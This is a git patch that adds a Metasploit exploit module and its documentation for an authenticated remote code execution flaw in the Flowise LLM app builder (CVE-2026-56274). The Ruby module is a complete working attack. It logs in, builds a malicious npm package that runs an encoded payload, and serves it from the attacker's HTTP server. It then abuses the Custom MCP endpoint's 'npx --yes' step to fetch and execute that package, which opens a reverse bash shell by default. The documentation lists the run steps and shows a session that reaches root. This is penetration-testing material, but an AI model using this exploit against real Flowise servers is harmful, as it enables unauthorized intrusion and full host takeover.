From fca4897358ce6b1a6ca20e0d42234c1cc2458783 Mon Sep 17 00:00:00 2001 From: jafarov007 Date: Mon, 29 Jun 2026 00:51:19 +0300 Subject: [PATCH 1/2] exploit/multi/http/flowise_mcp_rce: Add Flowise MCP Server RCE (CVE-2026-56274) --- .../exploits/multi/http/flowise_mcp_rce.rb | 295 ++++++++++++++++++ 1 file changed, 295 insertions(+) create mode 100644 modules/exploits/multi/http/flowise_mcp_rce.rb diff --git a/modules/exploits/multi/http/flowise_mcp_rce.rb b/modules/exploits/multi/http/flowise_mcp_rce.rb new file mode 100644 index 0000000000000..439201a982e34 --- /dev/null +++ b/modules/exploits/multi/http/flowise_mcp_rce.rb @@ -0,0 +1,295 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rubygems/package' +require 'stringio' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Flowise MCP Server Remote Code Execution', + 'Description' => %q{ + Flowise versions prior to 3.1.2 are vulnerable to remote code execution + through the Custom MCP (Model Context Protocol) node configuration. + + The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint, + which accepts arbitrary command and argument configurations for MCP server + initialization. An authenticated attacker can abuse the npx --yes flag to + fetch and execute a malicious npm package from an attacker-controlled HTTP + server, achieving arbitrary command execution on the Flowise host. + + This module creates a malicious npm package tar archive in memory, serves it + via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint + to download and execute the package via npx. + + To interact with the obtained shell, use the command: sessions -i + (for example: sessions -i 1). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'cn-panda', # Vulnerability discovery + 'ABDUL JAFAROV ' # Metasploit module + ], + 'References' => [ + ['CVE', '2026-56274'], + ['CWE', '78'], + ['GHSA', 'GHSA-m99r-2hxc-cp3q'], + ['URL', 'https://console.vulncheck.com/cve/CVE-2026-56274'] + ], + 'DisclosureDate' => '2026-06-23', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + ['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash', + 'LPORT' => 4444, + 'SRVPORT' => 8000, + 'URIPATH' => '/msf.tar', + 'SSL' => false, + 'WfsDelay' => 30 + }, + 'Privileged' => false, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'Flowise base path', '/']), + OptString.new('USERNAME', [true, 'Flowise username (email)']), + OptString.new('PASSWORD', [true, 'Flowise password']) + ]) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'version') + }) + + return Exploit::CheckCode::Unknown('Connection failed') unless res + + if res.code == 200 + begin + version = res.get_json_document['version'] + if version && Rex::Version.new(version) < Rex::Version.new('3.1.2') + return Exploit::CheckCode::Vulnerable("Flowise #{version} detected") + end + rescue StandardError + # version parse edilemedi, devam et + end + end + + Exploit::CheckCode::Safe('Not a Flowise instance or already patched') + end + + # Build the malicious npm package tar archive entirely in memory. + # npm/npx expects tar entries under a "package/" prefix directory. + def create_tar_package + print_status('Building malicious npm package tar in memory...') + + index_js = <<~JS + #!/usr/bin/env node + const { execSync } = require('child_process'); + try { execSync(Buffer.from('#{Rex::Text.encode_base64(payload.encoded)}','base64').toString(), { stdio: 'inherit' }); } catch (e) {} + JS + + package_json = { + 'name' => 'attacker-mcp-pkg', + 'version' => '1.0.0', + 'bin' => { + 'attacker-mcp-pkg' => './index.js' + } + }.to_json + + tar_io = StringIO.new(''.b) + + Gem::Package::TarWriter.new(tar_io) do |tar| + tar.add_file_simple("package/package.json", 0644, package_json.bytesize) do |f| + f.write(package_json) + end + + tar.add_file_simple("package/index.js", 0755, index_js.bytesize) do |f| + f.write(index_js) + end + end + + tar_io.rewind + data = tar_io.string + + print_good("Tar package built in memory (#{data.bytesize} bytes)") + data + end + + # HttpServer callback — serves the tar package to npx. + # Only receives requests matching URIPATH (/msf.tar). + def on_request_uri(cli, request) + print_good("Serving malicious tar package to #{cli.peerhost} (#{request.method} #{request.uri})") + send_response(cli, @tar_data, { + 'Content-Type' => 'application/x-tar', + 'Content-Disposition' => 'attachment; filename=msf.tar' + }) + end + + # Called automatically by HttpServer once the server is ready. + # This is where we perform the client-side attack. + def primer + cookie = do_login + send_exploit_payload(cookie) + end + + def do_login + print_status("Authenticating as #{datastore['USERNAME']}...") + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login'), + 'ctype' => 'application/json', + 'data' => { + 'email' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'] + }.to_json + }) + + unless res && res.code == 200 + fail_with(Failure::NoAccess, "Login failed (HTTP #{res&.code || 'no response'})") + end + + cookies = res.get_cookies + token_match = cookies.match(/token=([^;]+)/) + refresh_match = cookies.match(/refreshToken=([^;]+)/) + sid_match = cookies.match(/connect\.sid=([^;]+)/) + + unless token_match + fail_with(Failure::NoAccess, 'No auth token received in login response') + end + + cookie_parts = [] + cookie_parts << "token=#{token_match[1]}" if token_match + cookie_parts << "refreshToken=#{refresh_match[1]}" if refresh_match + cookie_parts << "connect.sid=#{sid_match[1]}" if sid_match + cookie_string = cookie_parts.join('; ') + + print_good('Authentication successful') + cookie_string + end + + def send_exploit_payload(cookie) + tar_url = get_uri + + print_status("Sending malicious MCP node config (tar URL: #{tar_url})...") + + mcp_server_config = { + 'command' => 'npx', + 'args' => ['--yes', tar_url] + } + + node_data = { + 'loadMethods' => {}, + 'label' => 'Custom MCP', + 'name' => 'customMCP', + 'version' => 1.1, + 'type' => 'Custom MCP Tool', + 'icon' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/customMCP.png', + 'category' => 'Tools (MCP)', + 'description' => 'Custom MCP Config', + 'inputs' => { + 'mcpServerConfig' => mcp_server_config.to_json, + 'mcpActions' => '' + }, + 'baseClasses' => ['Tool'], + 'filePath' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/CustomMCP.js', + 'inputAnchors' => [], + 'inputParams' => [ + { + 'label' => 'MCP Server Config', + 'name' => 'mcpServerConfig', + 'type' => 'code', + 'hideCodeExecute' => true, + 'hint' => { + 'label' => 'How to use', + 'value' => "\nYou can use variables in the MCP Server Config with double curly braces `{{ }}` and prefix `$vars.`." + }, + 'placeholder' => "{\n \"command\": \"npx\",\n \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}", + 'id' => 'customMCP_0-input-mcpServerConfig-code', + 'display' => true + }, + { + 'label' => 'Available Actions', + 'name' => 'mcpActions', + 'type' => 'asyncMultiOptions', + 'loadMethod' => 'listActions', + 'refresh' => true, + 'id' => 'customMCP_0-input-mcpActions-asyncMultiOptions', + 'display' => true + } + ], + 'outputs' => {}, + 'outputAnchors' => [ + { + 'id' => 'customMCP_0-output-customMCP-Tool', + 'name' => 'customMCP', + 'label' => 'Custom MCP Tool', + 'description' => 'Custom MCP Config', + 'type' => 'Tool' + } + ], + 'id' => 'customMCP_0', + 'selected' => true, + 'loadMethod' => 'listActions', + 'previousNodes' => [], + 'currentNode' => { + 'id' => 'customMCP_0', + 'name' => 'customMCP', + 'label' => 'Custom MCP', + 'inputs' => { + 'mcpServerConfig' => mcp_server_config.to_json, + 'mcpActions' => '' + } + } + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP'), + 'ctype' => 'application/json', + 'headers' => { + 'x-request-from' => 'internal', + 'Cookie' => cookie + }, + 'data' => node_data.to_json + }) + + if res && res.code == 200 + print_good("Exploit payload delivered successfully (HTTP #{res.code})") + print_status('Waiting for npx to fetch tar and execute payload...') + else + print_warning("Exploit request returned HTTP #{res&.code || 'no response'}") + end + end + + def exploit + # Build the tar package in memory (needs payload to be generated first) + @tar_data = create_tar_package + + # Start the HttpServer (serves tar) and trigger primer (sends exploit). + # HttpServer#exploit (super) starts the server, calls primer(), then waits + # for the handler to receive a session. + super + end +end From d725947c16d88c8c73951a17c6d45211f427a010 Mon Sep 17 00:00:00 2001 From: jafarov007 Date: Mon, 29 Jun 2026 01:05:20 +0300 Subject: [PATCH 2/2] exploit/multi/http/flowise_mcp_rce: Add documentation --- .../exploit/multi/http/flowise_mcp_rce.md | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) create mode 100644 documentation/modules/exploit/multi/http/flowise_mcp_rce.md diff --git a/documentation/modules/exploit/multi/http/flowise_mcp_rce.md b/documentation/modules/exploit/multi/http/flowise_mcp_rce.md new file mode 100644 index 0000000000000..9f6f5bcaaf3cf --- /dev/null +++ b/documentation/modules/exploit/multi/http/flowise_mcp_rce.md @@ -0,0 +1,50 @@ +## Vulnerable Application + +Flowise is an open-source UI visual tool to build LLM apps. Versions prior to +3.1.2 are vulnerable to remote code execution through the Custom MCP (Model +Context Protocol) node configuration. + +A docker-compose.yml using flowiseai/flowise:3.1.1 can be used to set up the +test environment: + + docker compose up -d + +## Verification Steps + +1. Start msfconsole +2. use exploit/multi/http/flowise_mcp_rce +3. set RHOSTS +4. set USERNAME +5. set PASSWORD +6. set LHOST +7. run check +8. run + +## Options + +**USERNAME** + +The Flowise account email address used to authenticate. + +**PASSWORD** + +The Flowise account password used to authenticate. + +## Scenarios + +### Flowise 3.1.1 on Docker (Linux target) + + msf exploit(multi/http/flowise_mcp_rce) > run + + [*] Started reverse TCP handler on 192.168.x.x:4444 + [*] Building malicious npm package tar in memory... + [+] Tar package built in memory (3584 bytes) + [*] Using URL: http://192.168.x.x:8000/msf.tar + [*] Server started. + [*] Authenticating as [REDACTED]... + [+] Authentication successful + [*] Sending malicious MCP node config... + [+] Serving malicious tar package to 192.168.x.x (GET /msf.tar) + [*] Command shell session 1 opened + / # whoami + root